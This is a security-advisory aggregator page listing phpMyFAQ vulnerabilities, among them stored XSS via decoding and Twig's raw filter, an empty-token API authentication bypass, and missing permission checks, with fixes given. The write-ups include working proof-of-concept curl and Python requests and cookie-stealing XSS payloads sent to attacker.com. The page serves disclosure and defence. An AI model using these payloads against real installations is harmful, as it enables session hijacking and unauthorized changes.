Seven (7) instances of | raw exist in search.twig:

twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'helpsearch' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.

---

Vulnerability B (Amplifier): SearchController.php — htmlentitydecode(striptags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

php $data->answer = htmlentitydecode( striptags((string) $data->answer), ENTCOMPAT, encoding: 'utf-8' );

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, striptags() passes it through unmodified (it sees no actual tags), and htmlentitydecode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough: text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> striptags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> htmlentitydecode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ---

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: html <svg onload=fetch('https://attacker.com/?c='+document.cookie)> <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

1. Retrieves the record from the database 2. Applies striptags() → entity-encoded payload passes through 3. Applies htmlentitydecode() → raw <svg onload=...> is restored 4. Passes the value to search.twig as result.answerPreview 5. Template renders with | raw → XSS executes

Step 4 — Impact

- Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries

---

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=<editorsession>' \ -d '{ "data": { "pmf-csrf-token": "<validcsrftoken>", "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }'

Step 2 — Trigger XSS as victim: https://target.example.com/search.html?search=searchable-keyword The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

html &lt;details open ontoggle=alert(document.cookie)&gt; &lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

---

Impact

- Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - Integrity : DOM manipulation, phishing overlay injection. - Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

---

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove htmlentitydecode() from search result pipeline SearchController.php

diff - $data->answer = htmlentitydecode( - striptags((string) $data->answer), - ENTCOMPAT, - encoding: 'utf-8' - ); + $data->answer = striptags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENTQUOTES | ENTHTML5, + 'UTF-8' + )

---

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } }

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

| File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST | | src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT | | src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST | | src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json

{ "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "test@test.com", "is-active": true, "is-sticky": false }

Response (HTTP 401 — correctly blocked):

json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token:

{ "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "researcher@example.com", "is-active": true, "is-sticky": false }

Response (HTTP 201 — bypass confirmed):

json {"stored": true}

Step 3 — Category creation via the same bypass:

http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token:

{ "language": "en", "parent-id": 0, "category-name": "POCCategory", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true }

Response (HTTP 201):

json {"stored": true}

Step 4 — Verify injected content is publicly visible:

http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

json [{"recordid":1,"recordlang":"en","categoryid":1,"recordtitle":"[POC] Authentication Bypass Confirmed","recordpreview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

python import urllib.request, json

TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "r@t.com", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful

Overlap Summary:

| Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | (not sent) | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | "" | 201 Created | 🔓 Bypass confirmed | | Category creation | "" | 201 Created | 🔓 Bypass confirmed | | Public verification | (not needed) | 200 OK | 📄 Injected content visible |

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

- Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Missing Authorization in API CategoryController — CVE-2026-24421 fixed BackupController by adding userHasPermission(PermissionType::BACKUP). The same fix was NOT applied to 4 other write endpoints in the public API. All 4 only call hasValidToken() (shared API key) but never call userHasPermission(), allowing any API token holder to perform admin operations regardless of their user permissions.

Summary

CVE-2026-24421 fixed BackupController by adding: $this->userHasPermission(PermissionType::BACKUP);

The same fix was NOT applied to 4 other write endpoints in the public API. All 4 only call $this->hasValidToken() — which checks a shared API key header, NOT the individual user's role permissions.

Affected Endpoints

1. src/phpMyFAQ/Controller/Api/CategoryController.php → create() POST /api/v4.0/category Missing: userHasPermission(PermissionType::CATEGORYADD) Any API token holder can create categories regardless of user role.

2. src/phpMyFAQ/Controller/Api/FaqController.php → create() POST /api/v4.0/faq Missing: userHasPermission(PermissionType::FAQADD) Any API token holder can create FAQ entries regardless of user role.

3. src/phpMyFAQ/Controller/Api/FaqController.php → update() PUT /api/v4.0/faq Missing: userHasPermission(PermissionType::FAQEDIT) Any API token holder can update any FAQ entry regardless of user role.

4. src/phpMyFAQ/Controller/Api/QuestionController.php → create() POST /api/v4.0/question Missing: permission check Any API token holder can create questions regardless of user role.

Root Cause

All 4 methods only call: $this->hasValidToken(); ← shared API key, not per-user

The fixed BackupController correctly calls: $this->userHasPermission(PermissionType::BACKUP);

PermissionType::CATEGORYADD, FAQADD, FAQEDIT all exist in src/phpMyFAQ/Enums/PermissionType.php — they just are not being used.

Fix

Add userHasPermission() before the logic in each method:

// CategoryController.create() $this->userHasPermission(PermissionType::CATEGORYADD);

// FaqController.create() $this->userHasPermission(PermissionType::FAQADD);

// FaqController.update() $this->userHasPermission(PermissionType::FAQEDIT);

Reporter

CONTACT Santhoshini Ganta Github:@santhoshinipayload Email: santhoshinive75@gmail.com LinkedIn: http://linkedin.com/in/santhoshini-g-1440621ba

1 / 3
Source: GitHub
First published (updated )
Severity
6.1
XSS, CSRF
AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N

Summary The sanitization pipeline for FAQ content is: 1. Filter::filterVar($input, FILTERSANITIZESPECIALCHARS) — encodes <, >, ", ', & to HTML entities 2. htmlentitydecode($input, ENTQUOTES | ENTHTML5) — decodes entities back to characters 3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values: php pregmatchall(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match: - Attributes with single quotes: onerror='alert(1)' - Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149: php $question = Filter::filterVar($data->question, FILTERSANITIZESPECIALCHARS); // ... ->setQuestion(Filter::removeAttributes(htmlentitydecode( (string) $question, ENTQUOTES | ENTHTML5, encoding: 'UTF-8', )))

Template rendering: faq.twig line 36: twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

1. Attacker submits: <img src=x onerror=alert(1)> 2. After FILTERSANITIZESPECIALCHARS: &lt;img src=x onerror=alert(1)&gt; 3. After htmlentitydecode(): <img src=x onerror=alert(1)> 4. pregmatchall('/[a-z]+=".+"/iU', ...) runs: - The regex requires ="..." (double quotes) - onerror=alert(1) has NO quotes → NOT matched - src=x has NO quotes → NOT matched - No attributes are found for removal 5. Output: <img src=x onerror=alert(1)> (XSS payload intact) 6. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">: - The regex matches both src="x" and onerror="alert(1)" - src is in $keep → preserved - onerror is NOT in $keep → removed via strreplace() - Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin): bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=adminsession' \ -d '{ "data": { "pmf-csrf-token": "validcsrftoken", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "test", "author": "test", "email": "test@test.com" } }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS: https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads: html <img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)>

Impact

- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins. - Session hijacking: Steal session cookies of all users viewing the FAQ. - Phishing: Display fake login forms to steal credentials. - Worm propagation: Self-replicating XSS that creates new FAQs with the same payload. - Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

1 / 3
Source: GitHub
First published (updated )
Severity
8.5
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.

First published (updated )
Severity
8.6
Path Traversal
AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.

First published (updated )
Severity
9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of restricted FAQs by bypassing per-record permission checks. Low-privileged users with the dlattachment right, or anonymous users when allowDownloadsForGuests is enabled, can request attachment IDs to retrieve confidential files from restricted FAQs.

First published (updated )
Severity
7
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L

phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated administrators with user-management rights can read a SuperAdmin's TOTP secret and generate valid codes to bypass two-factor authentication.

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

phpMyFAQ 3.2.1 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a stored cross-site scripting vulnerability that allows authenticated content authors to inject JavaScript by embedding iframes with data:text/html sources in FAQ or News content. Attackers can bypass the hostless media-host allowlist in FaqHelper::cleanUpContent(), which is rendered via Twig's raw filter, to run phishing interfaces or top-frame redirects for viewers.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an improper authorization vulnerability in attachment.php that fails to verify whether an attachment's parent FAQ is published or visible to the requester. Authenticated users with the dlattachment permission can request index.php?action=attachment&id=<ID> to download complete attachment files belonging to draft FAQs.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203